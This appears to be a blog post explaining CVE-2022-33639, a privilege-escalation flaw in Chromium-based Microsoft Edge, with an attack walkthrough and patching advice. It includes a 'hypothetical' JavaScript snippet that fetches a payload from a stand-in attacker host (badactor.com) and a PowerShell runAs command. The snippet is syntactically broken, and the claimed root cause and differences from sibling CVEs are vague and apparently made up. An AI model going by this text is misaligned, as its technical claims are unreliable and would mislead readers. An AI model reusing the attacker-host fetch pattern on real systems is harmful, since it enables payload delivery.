CVE-2022-33639 - Elevation of Privilege in Microsoft Edge (Chromium)

In the relentless landscape of tech security, browser vulnerabilities are especially dangerous because they target software millions use daily. Let's take an in-depth and exclusive look at CVE-2022-33639: an Elevation of Privilege (EoP) issue that affected Microsoft Edge (Chromium-based). This vulnerability stands apart from its siblings CVE-2022-30192 and CVE-2022-33638, even though all three deal with privilege escalation in different ways.

In this post, we’ll break down how CVE-2022-33639 works, who’s at risk, how attackers might exploit it, and—crucially—what you can do to protect yourself.

What is CVE-2022-33639?

CVE-2022-33639 is classified as an Elevation of Privilege vulnerability in Microsoft Edge (the modern, Chromium-based version). Elevation of Privilege issues mean that an attacker can gain higher permissions than they should—essentially, moving from a normal user to an admin or SYSTEM-level user.

Bypass security policies

- Install programs, view/change/delete data

Create new privileged accounts

This makes EoP vulnerabilities extremely valuable to bad actors, especially when chained with other exploits.

Technical Details: Under the Hood

While Microsoft’s advisories don’t discuss every technical factor (for obvious reasons), the core issue of CVE-2022-33639 lies in how Edge handled certain system calls or resources. A user running a specially crafted web page could trigger this vulnerability, potentially allowing elevation of their privileges on the affected system.

Here’s a simplified example of how a security context could get bypassed

// Hypothetical malicious JavaScript targeting the vulnerable part of Edge
// This is NOT an actual exploit but shows how privilege escalation might start

fetch('http://badactor.com/exploit';)
  .then(response => response.text())
  .then(payload => {
    // Try to inject a payload into the browser’s process
    window.open(data:text/html,${encodeURIComponent(payload)}, '_blank');
  });

If Edge’s process isolation is weak (or if a sandbox escape is possible), the attacker’s code could end up running with higher Windows privileges—possibly SYSTEM or Administrator.

In some exploit scenarios, Powershell or CMD is invoked

# Hypothetical example: attacker runs commands with elevated rights
Start-Process cmd.exe -Verb runAs -ArgumentList '/c whoami > C:\temp\pwned.txt'

An attacker would chain CVE-2022-33639 with another bug to ultimately run commands like this as an administrator.

1. The Setup

An attacker tricks a victim into visiting a specially crafted webpage on an unpatched Edge browser.

2. The Execution

Through JavaScript or a browser extension, the attacker takes advantage of the vulnerability to escape Edge’s sandbox or gain more privileges on the local system.

3. The Takeover

The attacker now operates as a privileged user, with the power to change system files, access sensitive info, or even disable security software.

Real-World Example

Imagine an attacker sending a phishing email. The user clicks a link in Edge, which triggers the exploit chain—the attacker installs a persistent backdoor on the system before the user even knows anything happened.

Official References

- CVE-2022-33639 on Microsoft Security Guide
- Microsoft Edge Release Notes
- Chromium Security Documentation

How Does CVE-2022-33639 Differ from CVE-2022-30192 and CVE-2022-33638?

- CVE-2022-30192: Related to another privilege escalation scenario, but in a different Edge mechanism, often related to how component updates are handled.
- CVE-2022-33638: Yet another EoP issue, but with a different underlying vulnerability (e.g., a file permission flaw).

CVE-2022-33639 is unique in its exploitation path and the specific codebase it targets within Edge.

Update Now!

Microsoft quickly patched this vulnerability—simply updating Edge makes you safe from known exploits.

Patch Your OS

Always keep Windows updated. Sometimes, related system libraries are vulnerable too.

Practice Safe Browsing

Don’t click suspicious email links.

Consider Enhanced Security

Use tools like Microsoft Defender with Exploit Protection enabled.

Conclusion

Edge’s move to Chromium improved browser security, but no software is perfect. CVE-2022-33639 shows just how creative attackers can get—and why everyone needs to keep software up to date.

Stay secure, and always be cautious about links, downloads, and browser updates.

Timeline

Published on: 06/29/2022 17:15:00 UTC
Last modified on: 08/15/2022 11:21:00 UTC

CVE-2022-33639 - Elevation of Privilege in Microsoft Edge (Chromium) – What You Need to Know